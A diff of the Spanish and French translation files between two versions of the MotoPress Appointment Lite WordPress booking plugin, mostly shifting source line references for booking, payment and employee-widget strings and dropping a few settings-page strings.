+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr "Servicios reservados"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Detalles de pago"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr "Precio de reserva"
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Reserva #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4035,38 +4025,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr "Pague con su tarjeta de crédito a través de Stripe. Utilice el número de tarjeta 4242424242424242424242424242 con CVC 123, una fecha de vencimiento válida y código postal aleatorio de 5 dígitos para probar un pago."
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bancontact"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "Débito directo SEPA"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5513,10 +5503,10 @@
 msgstr "Editar Reservas"
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr "Hacer una reserva..."
 
@@ -6229,168 +6219,168 @@
 msgstr "Diciembre"
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Serás redirigido a una página segura para completar el pago."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Subtotal"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Cupón: %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Total"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Depósito"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "El código del cupón está vacio."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr "Código de cupón aplicado con éxito."
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr "Lo sentimos, su reserva no es elegible para este cupón."
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr "Al proporcionar su IBAN y confirmar este pago, usted autoriza (A) %s y Stripe, nuestro proveedor de servicios de pago, a enviar instrucciones a su banco para que cargue el importe en su cuenta y (B) a su banco para que cargue el importe en su cuenta de acuerdo con dichas instrucciones. Usted tiene derecho a un reembolso de su banco en virtud de los términos y condiciones de su acuerdo con su banco. El reembolso debe reclamarse en un plazo de 8 semanas a partir de la fecha en que se haya hecho el cargo en su cuenta."
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Tarjeta de crédito o débito"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "o"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "Seleccionar banco iDEAL"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Tarjeta"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr "Lo sentimos, pero no hemos podido asignar franjas horarias para la fecha que ha seleccionado."
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr "Lo sentimos, no hay servicios, empleados o ubicaciones para reservar."
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6400,19 +6390,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr "cita"
 
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-fr_FR.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-fr_FR.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-fr_FR.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-fr_FR.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-fr_FR.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-fr_FR.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Aide"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Réglages enregistrés."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Sauvegarder changements"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Réglages"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Exporter"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "ID"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Services"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Service"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Date"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "durée"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Employés"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Employé"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Prix"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "État"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Client"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Payé: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "commande"
 
@@ -845,7 +835,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1232,7 +1222,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Formulaire de rendez-vous"
 
@@ -1480,7 +1470,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1494,7 +1484,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Des slugs séparés par des virgules ou des identifiants de libellés qui seront affichés."
 
@@ -1571,7 +1561,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Informations supplémentaires sur l'employé"
 
@@ -1592,49 +1582,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "Post ID d'un employé à partir duquel afficher le contenu. Remarque : ce paramètre utilise automatiquement l'ID du poste actuel lorsqu'un shortcode se trouve dans le message de l'employé et est requis dans le cas contraire."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Coordonnées de l'employé"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Contenu de l'employé"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Image de l'employé"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr "Horaire des employés"
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr "Liste des services des employés"
 
@@ -1642,7 +1632,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
